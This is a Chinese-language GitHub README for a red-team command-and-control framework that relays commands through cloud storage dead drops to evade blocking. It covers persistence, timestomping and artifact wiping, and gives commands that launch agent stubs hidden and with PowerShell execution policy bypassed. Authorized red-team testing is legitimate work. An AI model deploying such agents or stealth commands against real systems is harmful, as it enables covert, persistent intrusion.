LAME-Projects/stratum-c2

GitHub: LAME-Projects/stratum-c2

利用合法云存储服务作为隐蔽死信投递通道的红队命令与控制框架,确保在主 C2 被发现后仍能维持弹性访问。

Stars: 2 | Forks: 0

Stratum C2
**云持久化框架 · v1.0** *一种绕过基础设施防御者无法封锁的后备据点。* [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE) [![Platform](https://img.shields.io/badge/platform-Linux%20%7C%20Windows-lightgrey.svg)]() [![Python](https://img.shields.io/badge/Python-30.7%25-3776ab?logo=python&logoColor=white)]() [![JavaScript](https://img.shields.io/badge/JavaScript-22.9%25-f7df1e?logo=javascript&logoColor=black)]() [![Rust](https://img.shields.io/badge/Rust-19.4%25-ce422b?logo=rust&logoColor=white)]() [![PowerShell](https://img.shields.io/badge/PowerShell-9.5%25-5391fe?logo=powershell&logoColor=white)]() [![Shell](https://img.shields.io/badge/Shell-7.4%25-89e051?logo=gnubash&logoColor=black)]()
## 问题所在 你的主要 C2 失联。域名被拉黑。beacon 被标记。EDR 终结了进程。你出局了。 你需要一个备用通道——一个从一开始就不会被封锁的通道。 ## 核心理念 如果命令与控制(C2)流量看起来和员工将文件同步到 Dropbox 完全一样会怎样? 这就是 Stratum。命令和响应以普通文件的形式在云存储文件夹中传输。agent 永远不会连接到攻击者的基础设施。唯一可观察到的流量是发往目标防火墙已经加入白名单的提供商的 HTTPS 流量——因为封锁 Dropbox 或 OneDrive 就意味着封锁了所有使用它的员工。 **没有 teamserver。没有攻击者拥有的域名。没有可疑的 TLS 证书。没有任何东西会被封锁。** ``` OPERATOR CLOUD PROVIDER TARGET ──────── ───────────── ────── /Machine1/ WebGUI ──HTTPS──► input.txt 🔒 ◄── poll ── agent output.txt 🔒 ──► read ──┘ heartbeat.txt (encrypted beacon) ``` agent 在可配置的间隔时间(+ 对数正态分布的抖动)唤醒,读取输入文件,执行,加密响应,上传,然后进入休眠。所有内容均使用 RSA-4096-OAEP + AES-256-GCM 进行端到端加密。操作者的 IP 永远不会出现在目标侧的任何网络日志中。
Stratum C2 WebGUI
## 云服务提供商
| | Provider | Notes | |:---:|---|---| | | **Dropbox** | OAuth2 refresh token · 支持商业版和个人版账户 | | | **Microsoft OneDrive** | Microsoft Graph API · 支持个人版和 M365 账户 | | | **Google Drive** | Google Drive API v3 · OAuth2 服务流程 | | | **SharePoint Online** | Microsoft Graph API · M365 租户站点 | | | **S3-compatible** | AWS S3 |
这五者共享相同的通信格式、相同的 RSA 密钥对以及相同的操作者会话。**在交战中途几分钟即可切换提供商,而无需触及 agent。** 没有其他开源框架能开箱即用地提供此功能。 ## 其他地方不存在五件事 ### 1. 通道在结构上是不可阻挡的 想要阻止 C2 的 SOC 会封锁 teamserver 域名或前置基础设施。想要阻止 Stratum 的 SOC 必须同时封锁 Dropbox、OneDrive、Google Drive、SharePoint 和 S3。这不是一条防火墙规则——这是没有企业会做出的业务决策。死信投递(dead-drop)架构并不试图逃避检测。它运行在防御者已经决定永久信任的基础设施上。 ### 2. 单一部署流程生成六种 agent 格式 | 格式 | 平台 | 依赖项 | |---|---|---| | `.sh` | Linux | `curl` + `openssl` — 处处皆已预装 | | `.ps1` | Windows | PowerShell 5.1+ — 自 Windows 7 起预装 | | `.exe` / `.dll` | Windows | 无 — Rust 编译的 PE,无解释器,进程树中无 PowerShell | | `.elf` | Linux | 无 — Rust 编译的 musl-static,可在任何 x86_64 Linux 上运行 | | `.bin` | Linux / Windows | x64 PIC shellcode — 可放入任何外部加载器或注入器 | 向导会生成所有这些格式。你回答提示;它负责编译、签名、加密和打包。无需编译器标志,无需环境变量,无需手动密钥管理。 ### 3. 三种部署模式——与交战需求相匹配 | 模式 | 工作原理 | 最适用于 | |---|---|---| | **staged-enc** | 目标上仅放置最小 stub。首次运行时:从云端获取一次性引导密钥,在内存中解密完整 agent,从云端删除密钥。Payload 永远不会以明文形式触及磁盘。 | 标准交战——初始痕迹最小,密钥在传递后即销毁 | | **stageless-enc** | 完整 agent 嵌入在单个交付文件中,使用 stub 内置密钥加密。交付后无需获取云端密钥。 | 物理隔离或受限网络——单一独立文件 | | **stageless-plain** | agent 为明文。命令和响应在传输过程中保持完全加密。 | 实验室和受控环境 | 所有模式共享相同的执行后行为:stub 在本地缓存带有硬件指纹的加密 blob,以便后续运行直接从磁盘加载,而无需触及云端。 ### 4. 持久化——探测、安装、存活 在触及任何注册表项或 cron 条目之前,运行 `/persist probe`。agent 会检查当前特权级别下可用的所有技术,并返回可行性报告。非破坏性——不留任何痕迹。 ``` /persist probe ✓ schtask-logon — feasible (SYSTEM) ✓ registry-run — feasible ✗ schtask-boot — requires elevation ✓ startup-folder — feasible ... ``` 选择有效的手段,进行安装,并在完成后干净地移除。WebGUI 会跟踪每个会话安装的每一项技术。`/kill` 命令通过一个指令即可摧毁一切——持久化机制、二进制文件、云端痕迹。
Persistence tab — probe results
### 5. 在部署时注入操作护栏 终止日期、维护窗口期、对数正态抖动、一次性引导密钥——所有这些都只需在向导中配置一次,并永久编译进 agent 中。在交战期间无需管理任何内容,结束时也不会遗留任何需要忘记清理的内容。 ## Stratum 如何融入交战 Stratum 并非 Cobalt Strike、Sliver 或 Havoc 的替代品。它是它们底层的一层。 ``` Day 1: deploy Stratum alongside your primary C2 Day 4: primary beacon gets flagged, process killed Day 4: open Stratum session, assess what happened Day 4: re-introduce primary C2 via Stratum shell Day 5: back to full access ``` 你的主要 C2 负责后渗透。Stratum 负责**存活**。这是一个永远不会被检测到的通道,因为它从未试图隐藏——它看起来就像 Dropbox。 这与 2025–2026 年记录的野外威胁行为者使用的范式相同:TukTuk(Dropbox + Arweave 死信投递)、NarwhalRAT/APT37(pCloud)、COBALT MIRAGE/Drokbk(GitHub)。Stratum 将相同的架构作为一个正式的框架(而非一次性的植入物)带到了红队这边。 ## 快速开始 ### 1. 安装 ``` git clone https://github.com/daniomass/stratum-c2.git cd stratum-c2 ./install.sh --server ``` ### 2. Rust 工具链 编译的 agent(`.exe`、`.elf`、`.dll`、`.bin`、原生 Rust)是 Stratum 的核心功能。向导会检测并使用任何可用的目标,仅跳过无法构建的内容。 ``` curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh source "$HOME/.cargo/env" # Windows PE / DLL rustup target add x86_64-pc-windows-gnu && sudo apt install mingw-w64 # Linux musl-static ELF rustup target add x86_64-unknown-linux-musl && sudo apt install musl-tools # Flat x64 shellcode rustup target add x86_64-unknown-none && sudo apt install lld ``` ### 3. 启动并部署 ``` python3 stratum-server.py ``` 打开 `https://:`,登录,点击 **Deploy**。向导将引导你完成提供商凭证、agent 格式、部署模式、持久化身份和护栏(终止日期、窗口期、抖动)的设置。最后,它会提供可立即运行的构建产物。完整的设置详情请参见 Wiki(`docs/wiki.html`)。 ### 4. 投递并连接 ``` # Linux — 后台,无终端 nohup ./stub.sh &>/dev/null & # Windows — 隐藏窗口 powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File stub.ps1 ``` 会话将在首次 beacon 时自动出现在 WebGUI 中。 ## WebGUI 支持多操作者、实时、基于浏览器。每个操作者都可以通过 WebSocket 实时看到相同的会话。 ``` /sysinfo — full system profile: hardware, OS, network, AV/EDR, containers /persist probe — non-destructive feasibility check, all techniques /persist install — install a persistence technique /persist remove — remove a specific technique /kill — remove all persistence + wipe artifacts + terminate agent /download — pull file from target /upload — push file to target /sleep — change beacon interval live /jitter — change jitter percentage live /env — dump target environment variables /timestomp — set file timestamps on target /exit — stop agent process (persistence survives) ``` 每个会话都有专门的标签页:**Shell** · **Info**(实时系统信息面板) · **Artifacts** · **Staging** · **Persist** · **History**。全局视图:**Sessions** · **Deploy** · **Archives** · **Tradecraft** · **Settings**。
Info tab — live system profile
## 身份验证 | 模式 | 描述 | |---|---| | `local` | `server.yml` 中的用户名/密码。无角色划分——所有操作者权限相同。 | | `oidc-manual` | 外部 OIDC 提供商(Keycloak、Azure AD、Okta)。基于白名单的访问控制。 | | `oidc-auto` | 任何通过验证的身份均可获得访问权限。支持使用黑名单进行撤销。 | ## 加密机制 | 层级 | 算法 | |---|---| | 密钥交换 | RSA-4096-OAEP-SHA-256(每次部署的密钥对) | | 命令加密 | AES-256-GCM(会话密钥,预共享) | | 心跳加密 | RSA-4096-OAEP-SHA-256 + AES-256-GCM | | 响应签名 | RSA-PSS-SHA-256 | | Blob 密钥派生 | PBKDF2-HMAC-SHA-256 · 210,000 次迭代 | | 引导密钥 | 一次性使用——在 agent 首次运行时从云端删除 | | 二进制文件中的会话密钥 | 在 `.rodata` 中进行 XOR 混淆——原始十六进制绝不会直接出现 | | 本地 Blob 加密 | AES-256-GCM(Rust agent) · AES-256-CBC(bash/PS1 stub)——相互兼容 | ## 扩展 Stratum 添加一个提供商大约需要 360 行代码:HTTP 传输(`upload` / `download` / `delete` / token 刷新)+ 部署向导。加密、心跳、命令分发、持久化、时间戳篡改和构建产物跟踪均由核心免费提供。参考实现:`providers/dropbox/`。 ## 文档 完整的技术文档——加密协议、通信格式、心跳内部机制、传输接口、持久化技术、OPSEC 注释——位于 `docs/wiki.html` 中。在浏览器中本地打开它。 所有屏幕的 UI 模型图(会话列表、shell、persist 标签页、info 标签页、部署向导、聊天)位于 `docs/mockups.html` 中——在浏览器中本地打开以浏览每个场景。 ## 法律声明 **仅供授权的安全测试和红队交战使用**。未经授权访问计算机系统是违法行为。仅在您拥有或获得明确书面许可进行评估的系统上使用。
**为需要“不存在”的基础设施的操作者而构建。** *如果 Stratum 对您有帮助,请考虑留下一个 ⭐ —— 这有助于其他人发现它。*
标签:AI合规, C2框架, Cutter, 可视化界面, 命令控制, 安全学习资源, 安全攻防, 数据可视化, 数据采集, 网络信息收集, 逆向工具, 隐蔽通信